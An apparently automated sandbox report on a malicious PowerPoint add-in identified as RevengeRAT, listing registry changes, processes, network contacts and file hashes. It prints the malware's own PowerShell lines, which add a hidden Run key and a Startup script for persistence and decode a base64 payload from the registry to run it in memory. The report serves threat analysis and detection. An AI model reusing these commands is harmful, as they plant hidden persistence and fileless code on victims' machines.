Malware Analysis Report

2025-01-18 04:47

Sample ID 241010-h8y1aswhjp
Target Documentosrs.ppam
SHA256 faae26cbd0ceae86240be0129ce6a9e18236a6db8c321ce37e06966392e78b64
Tags
discovery execution persistence revengerat nyancatrevenge trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

faae26cbd0ceae86240be0129ce6a9e18236a6db8c321ce37e06966392e78b64

Threat Level: Known bad

The file Documentosrs.ppam was found to be: Known bad.

Malicious Activity Summary

discovery execution persistence revengerat nyancatrevenge trojan

RevengeRAT

Process spawned unexpected child process

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Drops startup file

Adds Run key to start application

Command and Scripting Interpreter: JavaScript

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

Uses Volume Shadow Copy WMI provider

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Uses Volume Shadow Copy service COM API

Modifies registry class

Suspicious behavior: AddClipboardFormatListener

Checks processor information in registry

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-10 07:25

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-10 07:25

Reported

2024-10-10 07:27

Platform

win7-20240729-en

Max time kernel

67s

Max time network

141s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentosrs.ppam"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\wscript.exe C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\RG.js" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wscript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493462-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934B9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A77-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CC-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493473-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493487-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E5-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F2-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5B-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartFillFormat" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493460-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\TypeLib\{5B0DD705-C06C-4BAA-819E-FA9F12C8331D}\2.0\0\win32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6F-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "LegendEntries" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A72-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493475-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493484-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E2-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\ = "AnimationBehaviors" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EC-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EE-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A50-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "FileConverters" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346A-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A57-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A68-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CF-5A91-11CF-8700-00AA0060263B}\ = "PublishObjects" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493480-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493481-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493490-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A56-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A65-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "DownBars" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5B0DD705-C06C-4BAA-819E-FA9F12C8331D}\2.0\0\win32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493471-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493462-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493491-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C5-5A91-11CF-8700-00AA0060263B} C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F3-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A77-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493455-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493485-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EB-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346A-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C8-5A91-11CF-8700-00AA0060263B}\TypeLib C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D4-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E4-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2604 wrote to memory of 2952 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 2604 wrote to memory of 2952 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 2604 wrote to memory of 2952 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 2604 wrote to memory of 2952 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\splwow64.exe
PID 2604 wrote to memory of 2736 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\wscript.exe
PID 2604 wrote to memory of 2736 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\wscript.exe
PID 2604 wrote to memory of 2736 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\wscript.exe
PID 2604 wrote to memory of 2736 N/A C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE C:\Windows\SysWOW64\wscript.exe
PID 2736 wrote to memory of 1700 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 1700 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 1700 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 1700 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 568 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 568 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 568 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 568 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 2700 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 2700 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 2700 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 2700 N/A C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentosrs.ppam"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\wscript.exe

wscript C:\Users\Admin\AppData\Roaming/RG.js

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\RG.js' -PropertyType String -Force;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\RG.js'))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 8.8.8.8:53 dc708.4sync.com udp
US 204.155.149.130:443 dc708.4sync.com tcp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 www.microsoft.com udp
GB 92.123.241.137:80 www.microsoft.com tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.19.117.10:80 crl.microsoft.com tcp

Files

memory/2604-0-0x000000002D8D1000-0x000000002D8D2000-memory.dmp

memory/2604-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2604-2-0x0000000071F3D000-0x0000000071F48000-memory.dmp

memory/2604-6-0x0000000005740000-0x0000000005840000-memory.dmp

memory/2604-5-0x0000000005590000-0x0000000005690000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab216.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\Tar2D4.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

C:\Users\Admin\AppData\Roaming\RG.js

MD5 dce39f51f2677748f77792f70d277dc1
SHA1 7fb251f50249f3d8962cc21b430c3ae9920031d2
SHA256 8d5edf251a3075a591ce31722558350739561ea7bca7b0bb3f5db646c16727cd
SHA512 3bf8b128104db8a12a45ea969f48f037f6f74833313e3f54b60224c75793b101a55d097821f23881c8169a18e5a850141a1ff5a4d33845a9b4bb61633018938d

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 7cd933e21cc4cad6ef844e4d401105c4
SHA1 afa8531b2ce8f536a88420c66c87a68baa5c63e4
SHA256 cf164d840df71fb567b16a65f1a9fe55389d21f32ed13c64830e194a1ef4a25a
SHA512 c1ae2c1ea680540eb3f1544a75547baf09393f7766072f6b76db05474d05f0d7a6280b7c5d193928d24a0135caf359fb00b1cfc89f681f1169cd23581e1dc692

memory/2604-62-0x0000000071F3D000-0x0000000071F48000-memory.dmp

memory/2604-63-0x0000000005590000-0x0000000005690000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-10 07:25

Reported

2024-10-10 07:27

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

141s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentosrs.ppam" /ou ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\wscript.exe C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE

RevengeRAT

trojan revengerat

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Windows\SYSTEM32\wscript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\RG.js" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE N/A
